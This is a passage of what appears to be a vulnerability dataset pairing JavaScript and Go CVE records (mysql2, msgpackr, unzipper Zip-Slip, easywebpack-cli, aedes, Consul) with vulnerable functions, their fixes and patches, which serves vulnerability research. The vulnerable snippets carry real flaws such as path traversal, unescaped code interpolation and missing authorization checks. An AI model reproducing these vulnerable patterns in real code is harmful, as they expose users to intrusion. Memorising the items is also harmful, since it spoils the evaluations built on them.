'packet.readLengthCodedBuffer();';\n      }\n      return `packet.readLengthCodedString(fields[${fieldNum}].encoding)`;\n  }\n}"}, {"id": "fix_js_129_2", "commit": "7d4b098", "file_path": "lib/parsers/text_parser.js", "start_line": 14, "end_line": 73, "snippet": "function readCodeFor(type, charset, encodingExpr, config, options) {\n  const supportBigNumbers = Boolean(\n    options.supportBigNumbers || config.supportBigNumbers,\n  );\n  const bigNumberStrings = Boolean(\n    options.bigNumberStrings || config.bigNumberStrings,\n  );\n  const timezone = options.timezone || config.timezone;\n  const dateStrings = options.dateStrings || config.dateStrings;\n\n  switch (type) {\n    case Types.TINY:\n    case Types.SHORT:\n    case Types.LONG:\n    case Types.INT24:\n    case Types.YEAR:\n      return 'packet.parseLengthCodedIntNoBigCheck()';\n    case Types.LONGLONG:\n      if (supportBigNumbers && bigNumberStrings) {\n        return 'packet.parseLengthCodedIntString()';\n      }\n      return `packet.parseLengthCodedInt(${supportBigNumbers})`;\n    case Types.FLOAT:\n    case Types.DOUBLE:\n      return 'packet.parseLengthCodedFloat()';\n    case Types.NULL:\n      return 'packet.readLengthCodedNumber()';\n    case Types.DECIMAL:\n    case Types.NEWDECIMAL:\n      if (config.decimalNumbers) {\n        return 'packet.parseLengthCodedFloat()';\n      }\n      return 'packet.readLengthCodedString(\"ascii\")';\n    case Types.DATE:\n      if (helpers.typeMatch(type, dateStrings, Types)) {\n        return 'packet.readLengthCodedString(\"ascii\")';\n      }\n      return `packet.parseDate(${helpers.srcEscape(timezone)})`;\n    case Types.DATETIME:\n    case Types.TIMESTAMP:\n      if (helpers.typeMatch(type, dateStrings, Types)) {\n        return 'packet.readLengthCodedString(\"ascii\")';\n      }\n      return `packet.parseDateTime(${helpers.srcEscape(timezone)})`;\n    case Types.TIME:\n      return 'packet.readLengthCodedString(\"ascii\")';\n    case Types.GEOMETRY:\n      return 'packet.parseGeometryValue()';\n    case Types.JSON:\n      // Since for JSON columns mysql always returns charset 63 (BINARY),\n      // we have to handle it according to JSON specs and use \"utf8\",\n      // see https://github.com/sidorares/node-mysql2/issues/409\n      return 'JSON.parse(packet.readLengthCodedString(\"utf8\"))';\n    default:\n      if (charset === Charsets.BINARY) {\n        return 'packet.readLengthCodedBuffer()';\n      }\n      return `packet.readLengthCodedString(${encodingExpr})`;\n  }\n}"}], "vul_patch": "--- a/lib/parsers/binary_parser.js\n+++ b/lib/parsers/binary_parser.js\n@@ -29,9 +29,9 @@\n     case Types.TIMESTAMP:\n     case Types.NEWDATE:\n       if (helpers.typeMatch(field.columnType, dateStrings, Types)) {\n-        return `packet.readDateTimeString(${field.decimals});`;\n+        return `packet.readDateTimeString(${parseInt(field.decimals, 10)});`;\n       }\n-      return `packet.readDateTime('${timezone}');`;\n+      return `packet.readDateTime(${helpers.srcEscape(timezone)});`;\n     case Types.TIME:\n       return 'packet.readTimeString()';\n     case Types.DECIMAL:\n\n--- a/lib/parsers/text_parser.js\n+++ b/lib/parsers/text_parser.js\n@@ -35,13 +35,13 @@\n       if (helpers.typeMatch(type, dateStrings, Types)) {\n         return 'packet.readLengthCodedString(\"ascii\")';\n       }\n-      return `packet.parseDate('${timezone}')`;\n+      return `packet.parseDate(${helpers.srcEscape(timezone)})`;\n     case Types.DATETIME:\n     case Types.TIMESTAMP:\n       if (helpers.typeMatch(type, dateStrings, Types)) {\n         return 'packet.readLengthCodedString(\"ascii\")';\n       }\n-      return `packet.parseDateTime('${timezone}')`;\n+      return `packet.parseDateTime(${helpers.srcEscape(timezone)})`;\n     case Types.TIME:\n       return 'packet.readLengthCodedString(\"ascii\")';\n     case Types.GEOMETRY:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-52079", "cve_description": "msgpackr is a fast MessagePack NodeJS/JavaScript implementation. Prior to 1.10.1, when decoding user supplied MessagePack messages, users can trigger stuck threads by crafting messages that keep the decoder stuck in a loop. The fix is available in v1.10.1.  \nExploits seem to require structured cloning, replacing the 0x70 extension with your own (that throws an error or does something other than recursive referencing) should mitigate the issue.", "cwe_info": {"CWE-674": {"name": "Uncontrolled Recursion", "description": "The product does not properly control the amount of recursion that takes place,  consuming excessive resources, such as allocated memory or the program stack."}}, "repo": "https://github.com/kriszyp/msgpackr", "patch_url": ["https://github.com/kriszyp/msgpackr/commit/18f44f8800e2261341cdf489d1ba1e35a0133602"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_314_1", "commit": "cc6a0f17c2e439f9f194768e33ae8280e3a73fd7", "file_path": "unpack.js", "start_line": 906, "end_line": 967, "snippet": "function readKey() {\n\tlet length = src[position++]\n\tif (length >= 0xa0 && length < 0xc0) {\n\t\t// fixstr, potentially use key cache\n\t\tlength = length - 0xa0\n\t\tif (srcStringEnd >= position) // if it has been extracted, must use it (and faster anyway)\n\t\t\treturn srcString.slice(position - srcStringStart, (position += length) - srcStringStart)\n\t\telse if (!(srcStringEnd == 0 && srcEnd < 180))\n\t\t\treturn readFixedString(length)\n\t} else { // not cacheable, go back and do a standard read\n\t\tposition--\n\t\treturn read().toString()\n\t}\n\tlet key = ((length << 5) ^ (length > 1 ? dataView.getUint16(position) : length > 0 ? src[position] : 0)) & 0xfff\n\tlet entry = keyCache[key]\n\tlet checkPosition = position\n\tlet end = position + length - 3\n\tlet chunk\n\tlet i = 0\n\tif (entry && entry.bytes == length) {\n\t\twhile (checkPosition < end) {\n\t\t\tchunk = dataView.getUint32(checkPosition)\n\t\t\tif (chunk != entry[i++]) {\n\t\t\t\tcheckPosition = 0x70000000\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcheckPosition += 4\n\t\t}\n\t\tend += 3\n\t\twhile (checkPosition < end) {\n\t\t\tchunk = src[checkPosition++]\n\t\t\tif (chunk != entry[i++]) {\n\t\t\t\tcheckPosition = 0x70000000\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif (checkPosition === end) {\n\t\t\tposition = checkPosition\n\t\t\treturn entry.string\n\t\t}\n\t\tend -= 3\n\t\tcheckPosition = position\n\t}\n\tentry = []\n\tkeyCache[key] = entry\n\tentry.bytes = length\n\twhile (checkPosition < end) {\n\t\tchunk = dataView.getUint32(checkPosition)\n\t\tentry.push(chunk)\n\t\tcheckPosition += 4\n\t}\n\tend += 3\n\twhile (checkPosition < end) {\n\t\tchunk = src[checkPosition++]\n\t\tentry.push(chunk)\n\t}\n\t// for small blocks, avoiding the overhead of the extract call is helpful\n\tlet string = length < 16 ? shortStringInJS(length) : longStringInJS(length)\n\tif (string != null)\n\t\treturn entry.string = string\n\treturn entry.string = readFixedString(length)\n}"}, {"id": "vul_js_314_2", "commit": "cc6a0f17c2e439f9f194768e33ae8280e3a73fd7", "file_path": "unpack.js", "start_line": 970, "end_line": 987, "snippet": "const recordDefinition = (id, highByte) => {\n\tlet structure = read().map(property => property.toString()) // ensure that all keys are strings and that the array is mutable\n\tlet firstByte = id\n\tif (highByte !== undefined) {\n\t\tid = id < 32 ? -((highByte << 5) + id) : ((highByte << 5) + id)\n\t\tstructure.highByte = highByte\n\t}\n\tlet existingStructure = currentStructures[id]\n\t// If it is a shared structure, we need to restore any changes after reading.\n\t// Also in sequential mode, we may get incomplete reads and thus errors, and we need to restore\n\t// to the state prior to an incomplete read in order to properly resume.\n\tif (existingStructure && (existingStructure.isShared || sequentialMode)) {\n\t\t(currentStructures.restoreStructures || (currentStructures.restoreStructures = []))[id] = existingStructure\n\t}\n\tcurrentStructures[id] = structure\n\tstructure.read = createStructureReader(structure, firstByte)\n\treturn structure.read()\n}"}], "fix_func": [{"id": "fix_js_314_1", "commit": "18f44f8800e2261341cdf489d1ba1e35a0133602", "file_path": "unpack.js", "start_line": 906, "end_line": 967, "snippet": "function readKey() {\n\tlet length = src[position++]\n\tif (length >= 0xa0 && length < 0xc0) {\n\t\t// fixstr, potentially use key cache\n\t\tlength = length - 0xa0\n\t\tif (srcStringEnd >= position) // if it has been extracted, must use it (and faster anyway)\n\t\t\treturn srcString.slice(position - srcStringStart, (position += length) - srcStringStart)\n\t\telse if (!(srcStringEnd == 0 && srcEnd < 180))\n\t\t\treturn readFixedString(length)\n\t} else { // not cacheable, go back and do a standard read\n\t\tposition--\n\t\treturn asSafeString(read())\n\t}\n\tlet key = ((length << 5) ^ (length > 1 ? dataView.getUint16(position) : length > 0 ? src[position] : 0)) & 0xfff\n\tlet entry = keyCache[key]\n\tlet checkPosition = position\n\tlet end = position + length - 3\n\tlet chunk\n\tlet i = 0\n\tif (entry && entry.bytes == length) {\n\t\twhile (checkPosition < end) {\n\t\t\tchunk = dataView.getUint32(checkPosition)\n\t\t\tif (chunk != entry[i++]) {\n\t\t\t\tcheckPosition = 0x70000000\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcheckPosition += 4\n\t\t}\n\t\tend += 3\n\t\twhile (checkPosition < end) {\n\t\t\tchunk = src[checkPosition++]\n\t\t\tif (chunk != entry[i++]) {\n\t\t\t\tcheckPosition = 0x70000000\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif (checkPosition === end) {\n\t\t\tposition = checkPosition\n\t\t\treturn entry.string\n\t\t}\n\t\tend -= 3\n\t\tcheckPosition = position\n\t}\n\tentry = []\n\tkeyCache[key] = entry\n\tentry.bytes = length\n\twhile (checkPosition < end) {\n\t\tchunk = dataView.getUint32(checkPosition)\n\t\tentry.push(chunk)\n\t\tcheckPosition += 4\n\t}\n\tend += 3\n\twhile (checkPosition < end) {\n\t\tchunk = src[checkPosition++]\n\t\tentry.push(chunk)\n\t}\n\t// for small blocks, avoiding the overhead of the extract call is helpful\n\tlet string = length < 16 ? shortStringInJS(length) : longStringInJS(length)\n\tif (string != null)\n\t\treturn entry.string = string\n\treturn entry.string = readFixedString(length)\n}"}, {"id": "fix_js_314_2", "commit": "18f44f8800e2261341cdf489d1ba1e35a0133602", "file_path": "unpack.js", "start_line": 975, "end_line": 993, "snippet": "const recordDefinition = (id, highByte) => {\n\tlet structure = read().map(asSafeString) // ensure that all keys are strings and\n\t// that the array is mutable\n\tlet firstByte = id\n\tif (highByte !== undefined) {\n\t\tid = id < 32 ? -((highByte << 5) + id) : ((highByte << 5) + id)\n\t\tstructure.highByte = highByte\n\t}\n\tlet existingStructure = currentStructures[id]\n\t// If it is a shared structure, we need to restore any changes after reading.\n\t// Also in sequential mode, we may get incomplete reads and thus errors, and we need to restore\n\t// to the state prior to an incomplete read in order to properly resume.\n\tif (existingStructure && (existingStructure.isShared || sequentialMode)) {\n\t\t(currentStructures.restoreStructures || (currentStructures.restoreStructures = []))[id] = existingStructure\n\t}\n\tcurrentStructures[id] = structure\n\tstructure.read = createStructureReader(structure, firstByte)\n\treturn structure.read()\n}"}, {"id": "fix_js_314_3", "commit": "18f44f8800e2261341cdf489d1ba1e35a0133602", "file_path": "unpack.js", "start_line": 969, "end_line": 973, "snippet": "function asSafeString(property) {\n\tif (typeof property === 'string') return property;\n\tif (typeof property === 'number') return property.toString();\n\tthrow new Error('Invalid property type for record', typeof property);\n}"}], "vul_patch": "--- a/unpack.js\n+++ b/unpack.js\n@@ -9,7 +9,7 @@\n \t\t\treturn readFixedString(length)\n \t} else { // not cacheable, go back and do a standard read\n \t\tposition--\n-\t\treturn read().toString()\n+\t\treturn asSafeString(read())\n \t}\n \tlet key = ((length << 5) ^ (length > 1 ? dataView.getUint16(position) : length > 0 ? src[position] : 0)) & 0xfff\n \tlet entry = keyCache[key]\n\n--- a/unpack.js\n+++ b/unpack.js\n@@ -1,5 +1,6 @@\n const recordDefinition = (id, highByte) => {\n-\tlet structure = read().map(property => property.toString()) // ensure that all keys are strings and that the array is mutable\n+\tlet structure = read().map(asSafeString) // ensure that all keys are strings and\n+\t// that the array is mutable\n \tlet firstByte = id\n \tif (highByte !== undefined) {\n \t\tid = id < 32 ? -((highByte << 5) + id) : ((highByte << 5) + id)\n\n--- /dev/null\n+++ b/unpack.js\n@@ -0,0 +1,5 @@\n+function asSafeString(property) {\n+\tif (typeof property === 'string') return property;\n+\tif (typeof property === 'number') return property.toString();\n+\tthrow new Error('Invalid property type for record', typeof property);\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-24855", "cve_description": "Directory Traversal vulnerability in easywebpack-cli before 4.5.2 allows attackers to obtain sensitive information via crafted GET request.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/easy-team/easywebpack-cli", "patch_url": ["https://github.com/easy-team/easywebpack-cli/commit/eb3f54603f58ea706d0c03fd6eb76c94176eae52"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_114_1", "commit": "a772258", "file_path": "lib/template.js", "start_line": 110, "end_line": 137, "snippet": "const downloadTemplate = (cli, templateInfo, options) => {\n  const d = new Download(options, cli);\n  co(function* () {\n    const pkgName = 'easyjs-awesome-template';\n    const absSourceDir = yield d.download(pkgName, templateInfo.name);\n    // const absSourceDir = `/var/folders/dr/yn_tf3kj6tb7jx00dx6nvy940000gp/T/easywebpack-cli-init/easyjs-awesome-template/package/${templateInfo.name}`;\n    const files = fs.readdirSync(absSourceDir);\n    const dist = options.dist || templateInfo.dist;\n    const filename = options.output || templateInfo.filename;\n    const classname = options.classname || templateInfo.classname;\n    yield mkdirp(dist);\n    files.forEach(name => {\n      const file = path.join(absSourceDir, name);\n      if (fs.statSync(file).isDirectory()) {\n        d.copy(file, dist);\n        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(file)}]`);\n      } else {\n        const content = artTemplate(file, { classname });\n        const filepath = path.resolve(dist, filename || name);\n        fs.writeFileSync(filepath, content, 'utf-8');\n        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(filepath)}]`);\n      }\n    });\n  }).catch(err => {\n    /* istanbul ignore next */\n    d.red('add error', err);\n  });\n}"}], "fix_func": [{"id": "fix_js_114_1", "commit": "eb3f546", "file_path": "lib/template.js", "start_line": 110, "end_line": 137, "snippet": "const downloadTemplate = (cli, templateInfo, options) => {\n  const d = new Download(options, cli);\n  co(function* () {\n    const pkgName = 'easyjs-awesome-template';\n    const absSourceDir = yield d.download(pkgName, templateInfo.name);\n    // const absSourceDir = `/var/folders/dr/yn_tf3kj6tb7jx00dx6nvy940000gp/T/easywebpack-cli-init/easyjs-awesome-template/package/${templateInfo.name}`;\n    const files = fs.readdirSync(absSourceDir);\n    const dist = options.dist || templateInfo.dist;\n    const filename = options.output || templateInfo.filename;\n    const classname = options.classname || templateInfo.classname;\n    yield mkdirp(dist);\n    files.forEach(name => {\n      const file = path.join(absSourceDir, name);\n      if (fs.statSync(file).isDirectory()) {\n        d.copy(file, dist, { hide: false });\n        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(path.join(dist, name))}]`);\n      } else {\n        const content = artTemplate(file, { classname });\n        const filepath = path.resolve(dist, filename || name);\n        fs.writeFileSync(filepath, content, 'utf-8');\n        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(filepath)}]`);\n      }\n    });\n  }).catch(err => {\n    /* istanbul ignore next */\n    d.red('add error', err);\n  });\n}"}], "vul_patch": "--- a/lib/template.js\n+++ b/lib/template.js\n@@ -12,8 +12,8 @@\n     files.forEach(name => {\n       const file = path.join(absSourceDir, name);\n       if (fs.statSync(file).isDirectory()) {\n-        d.copy(file, dist);\n-        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(file)}]`);\n+        d.copy(file, dist, { hide: false });\n+        d.green(`create ${d.chalk.yellow(templateInfo.name)} successfully [${d.chalk.yellow(path.join(dist, name))}]`);\n       } else {\n         const content = artTemplate(file, { classname });\n         const filepath = path.resolve(dist, filename || name);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1002203", "cve_description": "unzipper npm library before 0.8.13 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as 'Zip-Slip'.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ZJONSSON/node-unzipper", "patch_url": ["https://github.com/ZJONSSON/node-unzipper/commit/2220ddd5b58f6252069a4f99f9475441ad0b50cd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_127_1", "commit": "48bd69e", "file_path": "lib/extract.js", "start_line": 10, "end_line": 27, "snippet": "function Extract (opts) {\n  if (!(this instanceof Extract))\n    return new Extract(opts);\n\n  var self = this;\n\n  Parse.call(self,opts);\n\n  self.on('entry', function(entry) {\n    if (entry.type == 'Directory') return;\n    entry.pipe(Writer({\n      path: path.join(opts.path,entry.path)\n    }))\n    .on('error',function(e) {\n      self.emit('error',e);\n    });\n  });\n}"}], "fix_func": [{"id": "fix_js_127_1", "commit": "2220ddd", "file_path": "lib/extract.js", "start_line": 10, "end_line": 36, "snippet": "function Extract (opts) {\n  if (!(this instanceof Extract))\n    return new Extract(opts);\n\n  var self = this;\n\n  Parse.call(self,opts);\n\n  self.on('entry', function(entry) {\n    if (entry.type == 'Directory') return;\n\n    // to avoid zip slip (writing outside of the destination), we resolve\n    // the target path, and make sure it's nested in the intended\n    // destination, or not extract it otherwise.\n    var extractPath = path.join(opts.path, entry.path);\n    if (extractPath.indexOf(opts.path) != 0) {\n      return;\n    }\n\n    entry.pipe(Writer({\n      path: extractPath\n    }))\n    .on('error',function(e) {\n      self.emit('error',e);\n    });\n  });\n}"}], "vul_patch": "--- a/lib/extract.js\n+++ b/lib/extract.js\n@@ -8,8 +8,17 @@\n \n   self.on('entry', function(entry) {\n     if (entry.type == 'Directory') return;\n+\n+    // to avoid zip slip (writing outside of the destination), we resolve\n+    // the target path, and make sure it's nested in the intended\n+    // destination, or not extract it otherwise.\n+    var extractPath = path.join(opts.path, entry.path);\n+    if (extractPath.indexOf(opts.path) != 0) {\n+      return;\n+    }\n+\n     entry.pipe(Writer({\n-      path: path.join(opts.path,entry.path)\n+      path: extractPath\n     }))\n     .on('error',function(e) {\n       self.emit('error',e);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3778", "cve_description": "Improper authorization in aedes version <0.35.0 will publish a LWT in a channel when a client is not authorized.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/moscajs/aedes", "patch_url": ["https://github.com/moscajs/aedes/commit/ffbc1702bb24b596afbb96407cc6db234a4044a8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_34_1", "commit": "1189ffe", "file_path": "lib/client.js", "start_line": 243, "end_line": 285, "snippet": "  function finish () {\n    if (!that.disconnected && that.will) {\n      that.broker.publish(that.will, that, function (err) {\n        if (!err) {\n          that.broker.persistence.delWill({\n            id: that.id,\n            brokerId: that.broker.id\n          }, nop)\n        }\n      })\n      that.will = null // this function might be called twice\n    }\n\n    conn.removeAllListeners('error')\n    conn.on('error', nop)\n\n    if (that.broker.clients[that.id]) {\n      that.broker.unregisterClient(that)\n    }\n\n    // hack to clean up the write callbacks\n    // supports streams2 & streams3, so node 0.10, 0.11, and iojs\n    var state = that.conn._writableState\n    var list = (state.getBuffer && state.getBuffer()) || state.buffer\n    list.forEach(drainRequest)\n\n    // clear up the drain event listeners\n    that.conn.emit('drain')\n    that.conn.removeAllListeners('drain')\n\n    if (conn.destroySoon) {\n      conn.destroySoon()\n    } if (conn.destroy) {\n      conn.destroy()\n    } else {\n      conn.end()\n    }\n\n    if (typeof done === 'function') {\n      done()\n    }\n  }\n}"}], "fix_func": [{"id": "fix_js_34_1", "commit": "ffbc170", "file_path": "lib/client.js", "start_line": 243, "end_line": 293, "snippet": "  function finish () {\n    if (!that.disconnected && that.will) {\n      that.broker.authorizePublish(that, that.will, function (err) {\n        if (!err) {\n          that.broker.publish(that.will, that, done)\n        } else {\n          done()\n        }\n\n        function done (err) {\n          if (!err) {\n            that.broker.persistence.delWill({\n              id: that.id,\n              brokerId: that.broker.id\n            }, nop)\n          }\n        }\n      })\n      that.will = null // this function might be called twice\n    }\n\n    conn.removeAllListeners('error')\n    conn.on('error', nop)\n\n    if (that.broker.clients[that.id]) {\n      that.broker.unregisterClient(that)\n    }\n\n    // hack to clean up the write callbacks\n    // supports streams2 & streams3, so node 0.10, 0.11, and iojs\n    var state = that.conn._writableState\n    var list = (state.getBuffer && state.getBuffer()) || state.buffer\n    list.forEach(drainRequest)\n\n    // clear up the drain event listeners\n    that.conn.emit('drain')\n    that.conn.removeAllListeners('drain')\n\n    if (conn.destroySoon) {\n      conn.destroySoon()\n    } if (conn.destroy) {\n      conn.destroy()\n    } else {\n      conn.end()\n    }\n\n    if (typeof done === 'function') {\n      done()\n    }\n  }\n}"}], "vul_patch": "--- a/lib/client.js\n+++ b/lib/client.js\n@@ -1,11 +1,19 @@\n   function finish () {\n     if (!that.disconnected && that.will) {\n-      that.broker.publish(that.will, that, function (err) {\n+      that.broker.authorizePublish(that, that.will, function (err) {\n         if (!err) {\n-          that.broker.persistence.delWill({\n-            id: that.id,\n-            brokerId: that.broker.id\n-          }, nop)\n+          that.broker.publish(that.will, that, done)\n+        } else {\n+          done()\n+        }\n+\n+        function done (err) {\n+          if (!err) {\n+            that.broker.persistence.delWill({\n+              id: that.id,\n+              brokerId: that.broker.id\n+            }, nop)\n+          }\n         }\n       })\n       that.will = null // this function might be called twice\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3778:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/aedes\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tape ./test/will.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3778:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/aedes\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx tape $(find test -name '*.js' | grep -v 'test/basic.js' | grep -v 'test/meta.js' | grep -v 'test/meta.js')"}
{"cve_id": "CVE-2021-41803", "cve_description": "HashiCorp Consul 1.8.1 up to 1.11.8, 1.12.4, and 1.13.1 do not properly validate the node or segment names prior to interpolation and usage in JWT claim assertions with the auto config RPC. Fixed in 1.11.9, 1.12.5, and 1.13.2.\"", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/hashicorp/consul", "patch_url": ["https://github.com/hashicorp/consul/commit/fb3e29ec22ccda61f03da7e8e15e84da64f7fe82"], "programing_language": "Go", "vul_func": [{"id": "vul_go_47_1", "commit": "aa89a3bcb1f2e960cbf66255fa53478e6a9ba4a1", "file_path": "agent/consul/auto_config_endpoint.go", "start_line": 56, "end_line": 117, "snippet": "func (a *jwtAuthorizer) Authorize(req *pbautoconf.AutoConfigRequest) (AutoConfigOptions, error) {\n\t// perform basic JWT Authorization\n\tidentity, err := a.validator.ValidateLogin(context.Background(), req.JWT)\n\tif err != nil {\n\t\t// TODO (autoconf) maybe we should add a more generic permission denied error not tied to the ACL package?\n\t\treturn AutoConfigOptions{}, acl.PermissionDenied(\"Failed JWT authorization: %v\", err)\n\t}\n\n\tvarMap := map[string]string{\n\t\t\"node\":      req.Node,\n\t\t\"segment\":   req.Segment,\n\t\t\"partition\": req.PartitionOrDefault(),\n\t}\n\n\tfor _, raw := range a.claimAssertions {\n\t\t// validate and fill any HIL\n\t\tfilled, err := template.InterpolateHIL(raw, varMap, true)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to render claim assertion template %q: %w\", raw, err)\n\t\t}\n\n\t\tevaluator, err := bexpr.CreateEvaluatorForType(filled, nil, identity.SelectableFields)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to create evaluator for claim assertion %q: %w\", filled, err)\n\t\t}\n\n\t\tok, err := evaluator.Evaluate(identity.SelectableFields)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to execute claim assertion %q: %w\", filled, err)\n\t\t}\n\n\t\tif !ok {\n\t\t\treturn AutoConfigOptions{}, acl.PermissionDenied(\"Failed JWT claim assertion\")\n\t\t}\n\t}\n\n\topts := AutoConfigOptions{\n\t\tNodeName:    req.Node,\n\t\tSegmentName: req.Segment,\n\t\tPartition:   req.Partition,\n\t}\n\n\tif req.CSR != \"\" {\n\t\tcsr, id, err := parseAutoConfigCSR(req.CSR)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, err\n\t\t}\n\n\t\tif id.Agent != req.Node || !structs.EqualPartitions(id.Partition, req.Partition) {\n\t\t\treturn AutoConfigOptions{},\n\t\t\t\tfmt.Errorf(\"Spiffe ID agent name (%s) of the certificate signing request is not for the correct node (%s)\",\n\t\t\t\t\tprintNodeName(id.Agent, id.Partition),\n\t\t\t\t\tprintNodeName(req.Node, req.Partition),\n\t\t\t\t)\n\t\t}\n\n\t\topts.CSR = csr\n\t\topts.SpiffeID = id\n\t}\n\n\treturn opts, nil\n}"}], "fix_func": [{"id": "fix_go_47_1", "commit": "fb3e29ec22ccda61f03da7e8e15e84da64f7fe82", "file_path": "agent/consul/auto_config_endpoint.go", "start_line": 61, "end_line": 139, "snippet": "var invalidSegmentName = regexp.MustCompile(\"[`'\\\"\\\\s]+\")\n\nfunc (a *jwtAuthorizer) Authorize(req *pbautoconf.AutoConfigRequest) (AutoConfigOptions, error) {\n\t// perform basic JWT Authorization\n\tidentity, err := a.validator.ValidateLogin(context.Background(), req.JWT)\n\tif err != nil {\n\t\t// TODO (autoconf) maybe we should add a more generic permission denied error not tied to the ACL package?\n\t\treturn AutoConfigOptions{}, acl.PermissionDenied(\"Failed JWT authorization: %v\", err)\n\t}\n\n\t// Ensure provided data cannot escape the RHS of a bexpr for security.\n\t// This is not the cleanest way to prevent this behavior. Ideally, the bexpr would allow us to\n\t// inject a variable on the RHS for comparison as well, but it would be a complex change to implement\n\t// that would likely break backwards-compatibility in certain circumstances.\n\tif dns.InvalidNameRe.MatchString(req.Node) {\n\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"node\", req.Node)\n\t}\n\tif invalidSegmentName.MatchString(req.Segment) {\n\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"segment\", req.Segment)\n\t}\n\tif req.Partition != \"\" && !dns.IsValidLabel(req.Partition) {\n\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"partition\", req.Partition)\n\t}\n\n\t// Ensure that every value in this mapping is safe to interpolate before using it.\n\tvarMap := map[string]string{\n\t\t\"node\":      req.Node,\n\t\t\"segment\":   req.Segment,\n\t\t\"partition\": req.PartitionOrDefault(),\n\t}\n\n\tfor _, raw := range a.claimAssertions {\n\t\t// validate and fill any HIL\n\t\tfilled, err := template.InterpolateHIL(raw, varMap, true)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to render claim assertion template %q: %w\", raw, err)\n\t\t}\n\n\t\tevaluator, err := bexpr.CreateEvaluatorForType(filled, nil, identity.SelectableFields)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to create evaluator for claim assertion %q: %w\", filled, err)\n\t\t}\n\n\t\tok, err := evaluator.Evaluate(identity.SelectableFields)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Failed to execute claim assertion %q: %w\", filled, err)\n\t\t}\n\n\t\tif !ok {\n\t\t\treturn AutoConfigOptions{}, acl.PermissionDenied(\"Failed JWT claim assertion\")\n\t\t}\n\t}\n\n\topts := AutoConfigOptions{\n\t\tNodeName:    req.Node,\n\t\tSegmentName: req.Segment,\n\t\tPartition:   req.Partition,\n\t}\n\n\tif req.CSR != \"\" {\n\t\tcsr, id, err := parseAutoConfigCSR(req.CSR)\n\t\tif err != nil {\n\t\t\treturn AutoConfigOptions{}, err\n\t\t}\n\n\t\tif id.Agent != req.Node || !structs.EqualPartitions(id.Partition, req.Partition) {\n\t\t\treturn AutoConfigOptions{},\n\t\t\t\tfmt.Errorf(\"Spiffe ID agent name (%s) of the certificate signing request is not for the correct node (%s)\",\n\t\t\t\t\tprintNodeName(id.Agent, id.Partition),\n\t\t\t\t\tprintNodeName(req.Node, req.Partition),\n\t\t\t\t)\n\t\t}\n\n\t\topts.CSR = csr\n\t\topts.SpiffeID = id\n\t}\n\n\treturn opts, nil\n}"}], "vul_patch": "--- a/agent/consul/auto_config_endpoint.go\n+++ b/agent/consul/auto_config_endpoint.go\n@@ -1,3 +1,5 